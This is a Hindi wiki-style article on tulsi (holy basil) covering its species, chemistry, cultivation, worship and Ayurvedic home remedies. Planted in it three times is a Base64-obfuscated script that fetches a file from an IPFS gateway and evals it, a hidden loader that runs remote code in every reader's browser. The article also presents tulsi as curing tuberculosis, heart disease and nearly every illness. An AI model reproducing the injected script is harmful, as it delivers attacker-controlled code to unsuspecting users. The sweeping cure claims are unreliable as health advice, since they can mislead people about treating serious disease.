तुलसी

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 14:12, 29 जनवरी 2013 का अवतरण (Text replace - " साफ " to " साफ़ ")
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तुलसी
Tulsi.jpg
जगत पादप
द्विपद नाम ऑसीमम सैक्टम

परिचय

वृक्ष तथा विभिन्न वनस्पतियां धारती पर हमारे जीवन के लिए बहुत उपयोगी हैं। भारतीय संस्कृति में भी प्राचीन समय से ही वृक्षो तथा वनस्पतियों को पूजनीय माना जाता रहा हैं। विभिन्न वनस्पतियां हमारे स्वास्थ्य की रक्षा में भी सहायक सिद्ध होती हैं। ऐसा ही एक छोटा परन्तु बहुत महत्त्वपूर्ण पौधा तुलसी है।

भारत में तुलसी का महत्त्वपूर्ण स्थान है। तुलसी शब्द का विश्लेषण करने पर ज्ञात होता है कि जिस वनस्पति की किसी से तुलना न की जा सके वह तुलसी है। तुलसी को हिन्दू धर्म में जगत-जननी का पद प्राप्त है। तुलसी के महात्म्यों व कारण शक्ति के सूक्ष्म प्रभावों से पुराणों के अध्याय भरे पड़े हैं। हिन्दूओ द्वारा सदियों से देवता के रूप में घर-घर पूजे जाने वाला पौधा तुलसी (Holy Basil) है। बहुत ही कम लोग यह जानते है कि यह पौधा मात्र धर्म और आध्यात्मिक तौर पर ही पूज्यनीय नहीं है वरन् इसके अन्य जीवनदायी गुण भी है, जो इस पौधे की महत्ता में चार चांद लगा देते है। सर्व रोग निवारक तथा जीवन शक्ति संवर्धक इस औषधि को संभवतः प्रत्यक्ष देव माना जाना इसी तथ्य पर आधारित है कि ऐसी सस्ती, सुलभ, सुगम, सुंदर, उपयोगी वनस्पति मनुष्य समुदाय के लिए कोई और नहीं है। तुलसी आपके जीवन को निरोगी एवं आत्मा का शोधन कर उसे पवित्र बनाने में अपना महत्त्वपूर्ण योगदान देती है।

अधिकांश हिन्दू घरों में तुलसी का पौधा अवश्य ही होता है। तुलसी घर के आंगन में लगाने की प्रथा हज़ारों साल पुरानी है। तुलसी को दैवी का रूप माना जाता है। साथ ही मान्यता है कि तुलसी का पौधा घर में होने से घर वालों को बुरी नजर प्रभावित नहीं कर पाती और अन्य बुराइयां भी घर और घरवालों से दूर ही रहती है। तुलसी का पौधा घर में रहने से उसकी सुगंध वातावरण को पवित्र बनाती है और हवा में मौजूद बीमारी के बैक्टेरिया आदि को नष्ट कर देती है। तुलसी की सुंगध हमें श्वास संबंधी कई रोगों से बचाती है। साथ ही तुलसी की एक पत्ती रोज सेवन करने से हमें कभी बुखार नहीं आएगा और इस तरह के सभी रोग हमसे सदा दूर रहते हैं। तुलसी की पत्ती खाने से हमारे शरीर की रोगप्रतिरोधक क्षमता काफ़ी बढ़ जाती है।

तुलसी के आठ नाम --

धर्मशास्त्रों के अनुसार तुलसी के आठ नाम बताए गए हैं - वृंदा, वृंदावनि, विश्व पूजिता, विश्व पावनी, पुष्पसारा, नन्दिनी, तुलसी और कृष्ण जीवनी

तुलसी का वानस्पतिक परिचय

तुलसी
Holi Tulsi
Holi Tulsi
Sweet Tulsi
Sweet Tulsi
Thai Tulsi
Thai Tulsi
Lemon Tulsi
Lemon Tulsi
Purple Tulsi
Purple Tulsi
Cinnamon Tulsi
Cinnamon Tulsi
भारतीय डाकटिकट में तुलसी
भारतीय डाकटिकट में तुलसी
तुलसी की प्रजातियाँ और वृक्ष

भारत के प्रत्येक भाग में तुलसी के पौधे पाये जाते हैं इसका पौधा बड़ा वृक्ष नहीं बनता केवल डेढ़ या दो फुट तक बढ़ता है। इसकी जड़ें धरती की गहराई तक जाकर पानी खींच नहीं सकती। नित्यजल सिंचन से इसकी संभाल-सुरक्षा की जाती है। तुलसी की लगभग 60 प्रजातियाँ एशिया, अफ्रीका, अमेरिका तथा अन्य देशों मे उगाई जाती है। तुलसी विश्व की लगभग सभी जलवायु में पाई जाती हैं। तुलसी सदा हरित होती है। साधारणतः मार्च से जून तक इसे लगाते हैं। सितम्बर और अक्टूबर में वह फूलता है। सारा पौधा सुगंधित मंजरियों से लद जाता है। जाड़े के दिनों में इसके बीज पकते हैं। यह बारहों माह किसी न किसी रूप में प्राप्त किया जा सकता है। तुलसी की सामान्यतया निम्न प्रजातियाँ पाई जाती हैं।

  1. ऑसीमम अमेरिकन, ओसीमम केनम - (काली तुलसी) गम्भीरा या मामरी।
  2. ऑसीमम वेसिलिकम - (मरुआ तुलसी), मुन्जरिकी या मुरसा, (स्वीट बेसिल या फ्रेंच बेसिल या इंडियन बेसिल या मीठी तुलसी)।
  3. ऑसीमम वेसिलिकम मिनिमम।
  4. आसीमम ग्रेटिसिकम - (राम तुलसी, वन तुलसी)। सफेद तुलसी
  5. ऑसीमम किलिमण्डचेरिकम - (कपूरी / कपूर तुलसी, बेल तुलसी)।
  6. ऑसीमम सैक्टम - श्री तुलसी तथा कृष्णा तुलसी, (घरेलू तुलसी)। श्याम तुलसी
  7. ऑसीमम विरिडी - (जंगली तुलसी)।

इनमें ऑसीमम सैक्टम को प्रधान या पवित्र तुलसी माना गया जाता है, इसकी भी दो प्रधान प्रजातियाँ हैं - श्री तुलसी जिसकी पत्तियाँ हरी होती हैं तथा कृष्णा तुलसी जिसकी पत्तियाँ निलाभ - कुछ बैंगनी रंग लिए होती हैं। श्री तुलसी के पत्र तथा शाखाएँ श्वेताभ होते हैं, जबकि कृष्ण तुलसी के पत्रादि कृष्ण रंग के होते हैं। इनमें कृष्ण तुलसी सर्वप्रिय मानी जाती है। गुण, धर्म की दृष्टि से काली तुलसी को ही श्रेष्ठ माना गया है, परन्तु अधिकांश विद्वानों का मत है कि दोनों ही गुणों में समान हैं। श्री भाव मिश्र कहते हैं - 'श्यामा शुक्ला कृष्णा च तुलसी गुणैस्तुल्या प्रकीर्तित।'

ओसीमम बेसिलिकम (स्वीट बेसिल या फ्रेंच बेसिल या इंडियन बेसिल या मीठी तुलसी) प्रजाति बहुत ही उपयोगी है, क्योंकि इससे मीठा तुलसी का तेल (स्वीटबेसिल ऑइल) मिलता है। ओसीमम बेसिलिकम लेमिएसी कुल का पौधा है। इस पौधे की लम्बाई 30 से 90 से॰ मी॰ होती है, पत्तियों की लम्बाई 3-5 से॰ मी॰ होती है। पौधे में बहुत सी तेल कौशिकाएं होती है जो सुगंध तेल देती है।

तुलसी का गुल्म के समान क्षुप 1 से 3 फुट ऊँचा शाखायुक्त रोमश, बैंगनी आभा लिए होता है। पत्र 1 से 2 इंच लम्बे अण्डाकार या आयताकार होते हैं। प्रत्येक पत्र में एक प्रकार की तीव्र सुगंध होती है। तुलसी में खड़ी मंजरियाँ उगती हैं। पुष्प मंजरी अति कोमल एवं 8 इंच लम्बी और अनेक रंगी छटाओं से मण्डित होती है। इस पर बैंगनी या रक्त-सी आभा लिए बहुत छोटे पुष्प चक्रों में लगते हैं। पुष्पक प्रायः हृदयवत् होते हैं। बीज चपटे पीतवर्ण के छोटे काले चिह्नों से युक्त अण्डाकार होते हैं। पुष्प शीतकाल में आते हैं।

संग्रह संरक्षण -

तुलसी का पत्र, मूल, बीज उपयोगी अंग हैं। इन्हें सुखाकर मुख बंद पात्रों में सूखे शीतल स्थानों पर रखा जाता है। इन्हें एक वर्ष तक प्रयोग में लाया जा सकता है। सर्वत्र एवं सर्वदा सुलभ होने से पत्रों का प्रयोग ताजी अवस्था में किया जाना ही श्रेष्ठ है। ऐसा शास्त्रीय मत है कि पत्तों को पूर्णिमा, अमावस्या, द्वादशी, सूर्य संक्रांति के दिन, मध्याह्न काल रात्रि दोनों संध्याओं के समय बिना नहाए-धोए न तोड़ा जाए। उपयुक्त समय पर तोड़ा जाना धार्मिक महत्त्व रखता है, जल में रखे जाने पर ताजा पत्र भी तीन रात्रि तक पवित्र रहता है। यह पौधा सामान्तया दो-तीन वर्षों तक जवान बना रहता है। इसके बाद इसकी वृद्धावस्था आ जाती है तो पत्ते कम और छोटे आते हैं। सूखी-सूखी डण्ठलें खड़ी दिखाई देती हैं। तब उसे हटाकर नया पौधा लगाने की आवश्यकता प्रतीत होती है।

रासायनिक संगठन

तुलसी में अनेकों जैव सक्रिय रसायन पाए गए हैं, जिनमें ट्रैनिन, सैवोनिन, ग्लाइकोसाइड और एल्केलाइड्स प्रमुख हैं। अभी भी पूरी तरह से इनका विश्लेषण नहीं हो पाया है।

प्रमुख सक्रिय तत्व हैं एक प्रकार का पीला उड़नशील तेल जिसकी मात्रा संगठन स्थान व समय के अनुसार बदलते रहते हैं। 0.1 से 0.3 प्रतिशत तक तेल पाया जाना सामान्य बात है। 'वैल्थ ऑफ इण्डिया' के अनुसार इस तेल में लगभग 71 प्रतिशत यूजीनॉल, बीस प्रतिशत यूजीनॉल मिथाइल ईथर तथा तीन प्रतिशत कार्वाकोल होता है। श्री तुलसी में श्यामा की अपेक्षा कुछ अधिक तेल होता है तथा इस तेल का सापेक्षिक घनत्व भी कुछ अधिक होता है। तेल के अतिरिक्त पत्रों में लगभग 83 मिलीग्राम प्रतिशत विटामिन सी एवं 2.5 मिलीग्राम प्रतिशत कैरीटीन होता है।

तुलसी बीजों में हरे पीले रंग का तेल लगभग 17.8 प्रतिशत की मात्रा में पाया जाता है। इसके घटक हैं कुछ सीटोस्टेरॉल, अनेकों वसा अम्ल मुख्यतः पामिटिक, स्टीयरिक, ओलिक, लिनोलक और लिनोलिक अम्ल। तेल के अलावा बीजों में श्लेष्मक प्रचुर मात्रा में होता है। इस म्युसिलेज के प्रमुख घटक हैं - पेन्टोस, हेक्जा यूरोनिक अम्ल और राख। राख लगभग 0.2 प्रतिशत होती है।

तुलसी की खेती

तुलसी की उपयोगिता को देखते हुए आज इसकी खेती भी होने लगी है। आजमगढ मे बडे पैमाने पर तुलसी की खेती शुरू हो गई है, जो देश विदेश मे भेजी जा रही है।

उपयोग -- तुलसी का पौधा औषधीय गुणों से परिपूर्ण एवं सुगंध तेल का उत्तम स्रोत है। विभिन्न प्रजातियों की तुलसी के तेल में रासायनिक तत्व अलग-अलग होने के कारण विभिन्न उत्पादों में प्रयोग किया जाता है। इसका प्रयोग सुगंध बनाने, सर्दियों की औषधियों के निर्माण, खाँसी एवं कफ की दवा बनाने, कन्फैक्शनरी उद्योग एवं टूथ पेस्ट, माउथवाश, डेन्टल क्रीम आदि के निर्माण में किया जाता है। इसका तेल खाद्य पदार्थों को सुवासित करने में भी किया जाता है।

जलवायु -- तुलसी को सभी प्रकार की जलवायु वाले स्थानों पर उगाया जा सकता है। उत्तर भारत के मैदानी भागों मे तुलसी को ग्रीष्म ऋतु की फसल के रूप में उगाया जा सकता है। तुलसी की संतोषजनक विधि के लिए मध्यम तापक्रम अधिक उपयुक्त रहता हैं। अधिक वर्षा तथा पाला तुलसी की उपज पर बुरा प्रभाव डालते हैं।

भूमि -- तुलसी को विभिन्न प्रकार के मृदाओं एवं जलवायु मे आसानी से उगाया जा सकता है। तुलसी की खेती करने के लिए दोमट एवं बुलई दोमट मिट्टी जिनका पी॰ एच॰ 5-8 हो एवं जलधारण क्षमता अच्छी हो उपयुक्त समझी जाती है। अधिक रेतीली व भारी दोमट मिट्टी उपयुक्त नहीं है।

खेत की तैयारी -- खेत को एक बार मिट्टी पलटने वाले हल से तथा दो बाद देसी हल या कल्टीवेटर से जोत कर पता लगाएं। गोबर की गली-सड़ी खाद उपलब्ध हो तो अंतिम जुताई के समय मिट्टी में मिला दें। खेत की तैयारी इस प्रकार करें कि मई – जून मे पौध लग जाये।

किस्म -- कुसुमोहक एवं विकार सुधा, CIMAP लखनऊ द्वारा विकसित किस्में हैं।

तुलसी का धार्मिक एवं आध्यात्मिक परिचय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तुलसी आध्यात्मिक पृष्ठभूमि -
  • तुलसी का पौधा हमारे लिए धार्मिक एवं आध्यात्मिक महत्व का पौधा है जिस घर में इसका वास होता है वहा आध्यात्मिक उन्नति के साथ सुख-शांति एवं आर्थिक समृद्धता स्वतः आ जाती है। वातावारण में स्वच्छता एवं शुद्धता, प्रदूषण का शमन, घर परिवार में आरोग्य की जड़ें मज़बूत करने, श्रद्धा तत्व को जीवित करने जैसे अनेकों लाभ इसके हैं। तुलसी के नियमित सेवन से सौभाग्यशालिता के साथ ही सोच में पवित्रता, मन में एकाग्रता आती है और क्रोध पर पूर्ण नियंत्रण हो जाता है। आलस्य दूर होकर शरीर में दिनभर फूर्ती बनी रहती है। तुलसी की सूक्ष्म व कारण शक्ति अद्वितीय है। यह आत्मोन्नति का पथ प्रशस्त करती है तथा गुणों की दृष्टि से संजीवनी बूटी है। तुलसी को प्रत्यक्ष देव मानने और मंदिरों एवं घरों में उसे लगाने, पूजा करने के पीछे संभवतः यही कारण है कि यह सर्व दोष निवारक औषधि सर्व सुलभ तथा सर्वोपयोगी है। धार्मिक धारणा है कि तुलसी की सेवापूजा व आराधना से व्यक्ति स्वस्थ एवं सुखी रहता है। अनेक भारतीय हर रोग में तुलसीदल-ग्रहण करते हुए इसे दैवीय गुणों से युक्त सौ रोगों की एक दवा मानते हैं। गले में तुलसी-काष्ठ की माला पहनते हैं।

तुलसी की पूजा

तुलसी की पूजा से घर में सुख-समृद्धि और धन की कोई कमी नहीं होती। इसके पीछे धार्मिक कारण है। तुलसी में हमारे सभी पापों का नाश करने की शक्ति होती है। तुलसी को लक्ष्मी का ही स्वरूप माना गया है। विधि-विधान से इसकी पूजा करने से महालक्ष्मी प्रसन्न होती हैं और इनकी कृपा स्वरूप हमारे घर पर कभी धन की कमी नहीं होती। कार्तिक मास के शुक्लपक्ष की एकादशी को तुलसी विवाह का उत्सव मनाया जाता है। इस एकादशी पर तुलसी विवाह का विधिवत पूजन करने से भक्तों की सभी मनोकामनाएं पूर्ण होती हैं।

  • तुलसी पूजन की सामान्य सामग्री :-- तुलसी पूजा के लिए गन्ना (ईख), विवाह मंडप की सामग्री, सुहागन स्त्री की संपूर्ण सामग्री, घी, दीपक, धूप, सिन्दूर , चंदन, नैवद्य और पुष्प आदि।
  • तुलसी पूजन का श्रेष्ठ मुहूर्त :-- शाम 7.50 से 9.20 तक शुभ चौघडिय़ां में तुलसी पूजन करें।


  • तुलसी नामाष्टक :--

वृन्दा वृन्दावनी विश्वपूजिता विश्वपावनी। पुष्पसारा नन्दनीच तुलसी कृष्ण जीवनी।।
एतभामांष्टक चैव स्रोतं नामर्थं संयुतम। य: पठेत तां च सम्पूज् सौऽश्रमेघ फलंलमेता।।

तुलसी का औषधीय परिचय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गुण - कर्म संबंधी विभिन्न मत -
  • हिन्दू धर्म संस्कृति के चिर पुरातन ग्रंथ वेदों में भी तुलसी के गुणों एवं उसकी उपयोगिता का वर्णन मिलता है। अथर्ववेद (1-24) में वर्णन मिलता है - सरुपकृत त्वयोषधेसा सरुपमिद कृधि, श्यामा सरुप करणी पृथिव्यां अत्यदभुता। इदम् सुप्रसाधय पुना रुपाणि कल्पय॥ अर्थात् - श्यामा तुलसी मानव के स्वरूप को बनाती है, शरीर के ऊपर के सफेद धब्बे अथवा अन्य प्रकार के त्वचा संबंधी रोगों को नष्ट करने वाली अत्युत्तम महौषधि है।
  • महर्षि चरक तुलसी के गुणों का वर्णन करते हुए लिखते हैं - हिक्काकासविषश्वास पार्श्वशूलविनाशनः । पित्तकृत् कफवातघ्न्रः सुरसः पूतिगन्धहाः॥ तुलसी हिचकी, खाँसी, विष, श्वांस रोग और पार्श्व शूल को नष्ट करती है। यह पित्त कारक, कफ-वातनाशक तथा शरीर एवं भोज्य पदार्थों की दुर्गन्ध को दूर करती है।
  • सूत्र स्थान में वे लिखते हैं - गौरवे शिरसः शूलेपीनसे ह्यहिफेनके । क्रिमिव्याधवपस्मारे घ्राणनाशे प्रेमहेके॥ (2/5) सिर का भारी होना, पीनस, माथे का दर्द, आधा शीशी, मिरगी, नासिका रोग, कृमि रोग तुलसी से दूर होते हैं।
  • सुश्रुत महर्षि का मत भी इससे अलग नहीं है। वे लिखते हैं - कफानिलविषश्वासकास दौर्गन्धनाशनः । पित्तकृतकफवातघ्नः सुरसः समुदाहृतः॥ (सूत्र-46) तुलसी, कफ, वात, विष विकार, श्वांस-खाँसी और दुर्गन्ध नाशक है। पित्त को उत्पन्न करती है तथा कफ और वायु को विशेष रूप से नष्ट करती है।
  • भाव प्रकाश में उद्धरण है - तुलसी पित्तकृद वात कृमिर्दोर्गन्धनाशिनी । पार्श्वशूलारतिस्वास-कास हिक्काविकारजित॥ तुलसी पित्तनाशक, वात-कृमि तथा दुर्गन्ध नाशक है। पसली का दर्द, अरुचि, खाँसी, श्वांस, हिचकी आदि विकारों को जीतने वाली है। आगे वे लिखते हैं - यह हृदय के लिए हितकर, उष्ण तथा अग्निदीपक है एवं कुष्ट-मूत्र विकार, रक्त विकार, पार्श्वशूल को नष्ट करने वाली है। श्वेत तथा कृष्णा तुलसी दोनों ही गुणों में समान हैं।
होम्योपैथिक मत -

भारतीय व यूरोपीय दोनों ही होम्योपैथ सिद्धान्त तुलसी को अमृतोपम मानते हैं। बंगाल के डॉ. विश्वास कहते हैं कि तुलसी अनेकानेक लक्षणों में लाभकारी औषधि है। सिर में दर्द, स्मरण शक्ति में कमी, बच्चों का चिड़चिड़ापन, आँखों की लाली, एलर्जी के कारण छीकें आना, नाक बहना, मुँह में छाले, गले में दर्द, पेशाब में जलन, दमा तथा जीर्ण ज्वर जैसे बहुत प्रकार के लक्षणों में तुलसी को होम्योपैथी में स्थान दिया गया है। इसकी 2, 3, 6, 30 तथा 200 वीं पोटेन्सी में प्रयोग कर इन सभी रोगों में लाभ पाए हैं। ब्राजील में तुलसी की आँसीमम कैनन नामक जाति पायी जाती है। डॉ. भरे व बोरिक यह मानते हैं कि यह प्रजनन तथा मूत्रवाही संस्थान रोगों की श्रेष्ठ औषधि है।

यूनानी मत -

इसके अनुसार तुलसी हृदयोत्तेजक, बलवर्धक तथा यकृत आमाशय बलदायक है। यह हृदय को बल देनेवाली होने के कारण अनेक प्रकार के शोथ-विकारजन्य रोगों में आराम देती है। यह शिरःशूल की श्रेष्ठ औषधि है। पत्ते सूँघने से मूर्छा दूर होती है तथा चबाने से दुर्गन्ध। रस कान में टपकाने से कर्णशूल शान्त होता है।

आधुनिक मत एवं वैज्ञानिक प्रयोगों के निष्कर्ष

  • इण्डियन ड्रग्स पत्रिका (अगस्त 1977) के अनुसार तुलसी में विद्यमान रसायन वस्तुतः उतने ही गुणकारी हैं, जितना वर्णन शास्रों में किया गया है। यह कीटनाशक है, कीट प्रतिकारक तथा प्रचण्ड जीवाणुनाशक है। विशेषकर एनांफिलिस जाति के मच्छरों के विरुद्ध इसका कीटनाशी प्रभाव उल्लेखनीय है।
  • 'एण्टीवायटिक्स एण्ड कीमोथेरेपी' पत्रिका के अनुसार तुलसी का ईथर निष्कर्ष टी.वी. के जीवाणु माइक्रोवैक्टीरियम ट्यूवर-कुलोसिस का बढ़ना रोक देता है। सभी आधुनिकतम औषधियों की तुलना में यह निष्कर्ष अधिक सान्द्रता में श्रेष्ठ ही बैठता है। श्री रामास्वामी एवं सिरसी द्वारा दिए गए शोध परिणामों (द इण्डियन जनरल ऑफ फार्मेसी मई-1967) के अनुसार तुलसी की टी.वी. नाशक क्षमता विलक्षण है इस जीवाणु के 'ह्यूमन स्ट्रेन की वृद्धि' को भी यह औषधि रोकती है।
औषधीय महत्व -

भारतीय संस्कृति और धर्म में तुलसी को उसके महान गुणों के कारण ही सर्वश्रेष्ठ स्थान दिया गया है। भारतीय संस्कृति में यह पूज्य है। तुलसी का धार्मिक महत्व तो है ही लेकिन विज्ञान के दृष्टिकोण से तुलसी एक औषधि है। तुलसी को हजारों वर्षों से विभिन्न रोगों के इलाज के लिए औषधि के रूप में प्रयोग किया जा रहा हैं। आयुर्वेद में तुलसी तथा उसके विभिन्न औषधीय प्रयोगों का विशेष स्थान हैं। आयुर्वेद में तुलसी को संजीवनी बूटी के समान माना जाता है। आपके आंगन में लगा छोटा सा तुलसी का पौधा, अनेक बीमारियो का इलाज करने के आचर्यजनक गुण लिए हुए होता हैं। तुलसी में कई ऐसे गुण होते हैं जो बड़ी-बड़ी जटिल बीमारियों को दूर करने और उनकी रोकथाम करने में सहायक है। हृदय रोग हो या सर्दी जुकाम, भारत में सदियों से तुलसी का इस्तेमाल होता चला आ रहा है। औषधिये गुणों से परिपूर्ण पौराणिक काल से प्रसिद्ध पतीत पावन तुलसी के पत्तो का विधिपूर्वक नियमित औषधितुल्य सेवन करने से अनेकानेक बिमारिया ठीक हो जाती है। इसके प्रभाव से मानसिक शांति घर में सुख समृद्धि और जीवन में अपार सफलताओं का द्वार खुलता है। यह ऐसी रामबाण औषधी है जो हर प्रकार की बीमारियों में काम आती है जैसे - स्मरण शक्ति, हृदय रोग, कफ, श्वास के रोग, प्रतिश्याय, ख़ून की कमी, खॉसी, जुकाम, दमा, दंत रोग, धवल रोग आदि में चमत्कारी लाभ मिलता है। तुलसी एक प्रकार से सारे शरीर का शोधन करने वाली जीवन शक्ति संवर्धक औषधि है। वातावरण का भी शोधन करती है तथा पर्यावरण संतुलन बनाती है। इस औषधि के विषय में जितना लिखा जाए कम है।

तुलसी का तेल बनाएं –

जड़ सहित तुलसी का हरा भरा पौधा लेकर धो लें, इसे पीसकर इसका रस निकालें। आधा कि. पानी- आ. कि तेल डालकर हल्की आंच पर पकाएं, जब तेल रह जाए तो छानकर शीशी में भर कर रख दें। तेल बन गया। इसे सफेद दाग़ पर लगाएं। इन सब इलाज के लिए धैर्य की जरूरत है। कारण ठीक होने में समय लगता है।

सामान्य प्रयोग -

(1) तुलसी की पॉच पत्तियॉं, 2 नग काली मिर्च का चूर्ण, रात को पानी में भीगी हुई 2 नग बादाम का छिलका निकालकर फिर उसकी चटनी बनाकर एक चम्मच शहद के साथ सेवन करें एवं लगभग आधा खण्टा अन्न-जल ग्रहण ना करे। (2) तुलसी के पत्तों को साफ़ पानी में उबाल ले उबाले जल को पीने में उपयोग करें। कुल्ला करने में भी इसका उपयोग कर सकते है। (3) 2-3 पत्तिया ले और छाछ या दही के साथ सेवन करें। बहुत सारी आयुर्वेदिक कम्पनियां अपने जीवनदायी औषधीयों में तुलसी का उपयोग करती है।

व्यावहारिक प्रयोग -

जड़, पत्र, बीज व पंचांग प्रयुक्त करते हैं। मात्रा - स्वरस- 10 से 20 ग्राम । बीज चूर्ण- 1 से 2 ग्राम । क्वाथ-1 से 2 औंस ।

  • सर्दी के मौसम में खांसी जुकाम होना एक आम समस्या हैं। इनसे बचे रहने का सबसे सरल उपाय है तुलसी की चाय। तुलसी की चाय बनाने के लिए, तुलसी की दस पन्द्रह ग्राम ताजी पत्रितयां लें और धो कर कुचल लें। फिर उसे एक कप पानी में डालें उसमें पीपला मूल, सौंठ, इलायची पाउड़र तथा एक चम्मच चीनी मिला लें, इस मिश्रण को उबालकर बिना छाने सुबह गर्मा-गर्म पीना चाहिये। इस प्रकार की चाय पीने से शरीर में चुस्ती स्फूर्ति आती है और भूख बढ़ती हैं। जिन लोगों को सर्दियों में बारबार चाय पीने की आदत है। उनके लिए तुलसी की चाय बहुत लाभदायक होगी। जो न केवल उन्हें स्वास्थ्य लाभ देगी अपितु उन्हें साधारण चाय के हानिकारक प्रभावो से भी बचाएगीं।
  • सर्दी, जवर, अरूचि, सुस्ती, दाह, वायु तथा पित्त संबंधी विकारों को दूर करने के लिए भी तुलसी की औषधीय रचना और अपना महत्व हैं। इसके लिए तुलसी की दस पन्द्रह ग्राम ताजी धुली पत्तियों को लगभग 150 ग्राम पानी में उबाल लें। जब लगभग आधा या चौथाई पानी ही शेष रह जाए। तो उसमें उतनी ही मात्रा में दूध तथा जरूरत के अनुसार मिश्री मिला लें। यह अनेक रोगों को तो दूर करता ही है साथ ही क्षुधावर्धक भी होता हैं। इसी विधि के अनुसार काढ़ा बनाकर उसमें एक दो इलायची का चूर्ण और दस पन्द्रह सुधामूली डालकर सर्दियों में पीना बहुत लाभकारी होता हैं। इसमें शारीरिक पुष्टता बढ़ती हैं।
  • तुलसी के पत्ते का चूर्ण बनाकर मर्तबान में रख लें, जब भी चाय बनाएं तो दस पन्द्रह ग्राम इस चूर्ण का प्रयोग करें यह चाय ज्वर, दमा, जुकाम, कफ तथा गले के रोगों के लिए बहुत लाभकारी हैं।
  • तुलसी का काढ़ा बनाने के लिए तीन चार काली मिर्च के साथ तुलसी की सात आठ पत्रितयों को रगड़ लें और अच्छी तरह मिलाकर एक गिलास द्रव तैयार करें इक्कीस दिनों तक सुबह लगातार ख़ाली पेट इस काढ़े का सेवन करने से मस्तिष्क की गर्मी दूर होती है और उसे शांति मिलती हैं। क्योंकि यह काढ़ा हृदयोत्तेजक होता है, इसलिए यह हृदय को पुष्ट करता है और हृदय संबंधी रोगों से बचाव करता हैं।
  • एसिडिटी, संधिवात, मधुमेह, स्थूलता, खुजली, यौन दुर्बलता, प्रदाह आदि अनेक बीमारियों के उपचार के लिए तुलसी की चटनी बनाई जा सकती हैं। इसके लिए लगभग दस-दस ग्राम धानिया, पुदिना लें उसमें थोड़ा सा लहसुन अदरख, सेंधा नमक, खजूर का गुड़, अंकुरित मेथी, अंकुरित चने, अंकुरित मूग, तिल और लगभग पांच ग्राम तुलसी के पत्ते मिलाकर महीन पीस लें। अब इसमें एक नींबू का रस और लगभग पन्द्रह ग्राम नारियल की छीन डाले। इस चटनी को रोटी के साथ या साग में मिलाकर खाया जा सकता हैं। चटनी से कैल्शियम, पोटेशियम, गंधाक, आयरन, प्रोटीन तथा एन्जाइम आदि हमारे शरीर को प्राप्त होते हैं। एक बात ध्यान रखें कि यह चटनी दो घांटे तक ही अच्छी रहती है। अत: इसका प्रयोग सदा ताजा बनाकर ही करें दो घांटे के बाद इसके गुण में परिवर्तन आ जाता हैं। इस चटनी को कभी फ्रिज में नहीं रखें।
  • शीतऋतु में तुलसी का पाक भी एक गुणकारी औषधि के रूप में प्रयोग किया जा सकता हैं। इसके लिए तुलसी के बीजों को निकाल कर आटे जैसा बारीक पीस लें अब लगभग 125 ग्राम चने के आटे में मोयन के लिए देसी घी व थोड़ा सा दूध डालकर उसे लोहे या पीतल की कड़ाही में घी डालकर धीमी आंच पर भूनें। बाद में लगभग 125 ग्राम खोआ डालकर, उसे भूनें इसके बात उसमें बादाम की गिरि व तुलसी के बीजों का चूर्ण मिला लें। जब लाल हो जाए, तो इसमें इलायची व काली मिर्च ड़ालकर इस मिश्रण को तुरंत उतार लें। अब मिश्री की चाशनी में केसर डालकर, इस मिश्रण को उसमें डाल दें और अच्छी तरह मिलाएं, गाढ़ा होने पर थाली में ठंड़ा कर टुकड़े करें सर्दी में प्रतिदिन 20 से 100 ग्राम मात्रा दूध के साथ खाने से बल वीर्य बढ़ता हैं। इससे पेट के रोग वातजन्य रोग, शीघ्रपतन, कामशीलता, मस्तिष्क की कमज़ोरी, पुराना जुकाम, कफ आदि में बहुत लाभ होता हैं।
  • तुलसी का अरिष्ट आसव बनाने के लिए 100 ग्राम बबूल की छाल को लगभग डेढ़ किलो पानी में तब तक उबालें जब तक कि पानी एक चौथाई न हो जाएं। अब इसे छानकर इसमें लगभग अस्सी ग्राम तुलसी का चूर्ण, पांच सौ ग्राम गुड़, 10 ग्राम पीपल तथा 80 ग्राम आंवले के फूल मिला दें। काली मिर्च, जायफल, दालचीनी,ाीतलचीनी, नागकेसर, तमालपत्र तथा छोटी इलायचीं,

तुलसी का रोगो में उपयोग

  • गले और साँस की समस्या में --
  1. खाँसी अथवा गला बैठने पर तुलसी की जड़ सुपारी की तरह चूसी जाती है।
  2. श्वांस रोगों में तुलसी के पत्ते काले नमक के साथ सुपारी की तरह मुँह में रखने से आराम मिलता है।
  3. तुलसी की हरी पत्तियों को आग पर सेंक कर नमक के साथ खाने से खांसी तथा गला बैठना ठीक हो जाता है।
  4. तुलसी के पत्तों के साथ 4 भुनी लौंग चबाने से खांसी जाती है।
  5. तुलसी के कोमल पत्तों को चबाने से खांसी और नजले से राहत मिलती है।
  6. खांसी-जुकाम में - तुलसी के पत्ते, अदरक और काली मिर्च से तैयार की हुई चाय पीने से तुरंत लाभ पहुंचता है।
  7. 10-12 तुलसी के पत्ते तथा 8-10 काली मिर्च के चाय बनाकर पीने से खांसी जुकाम, बुखार ठीक होता है।
  8. फेफड़ों में खरखराहट की आवाज़ आने व खाँसी होने पर तुलसी की सूखी पत्तियाँ 4 ग्राम मिश्री के साथ देते हैं।
  9. काली तुलसी का स्वरस लगभग डेढ़ चम्मच काली मिर्च के साथ देने से खाँसी का वेग एकदम शान्त होता है।
  • ज्वर से जुङे समस्या में --
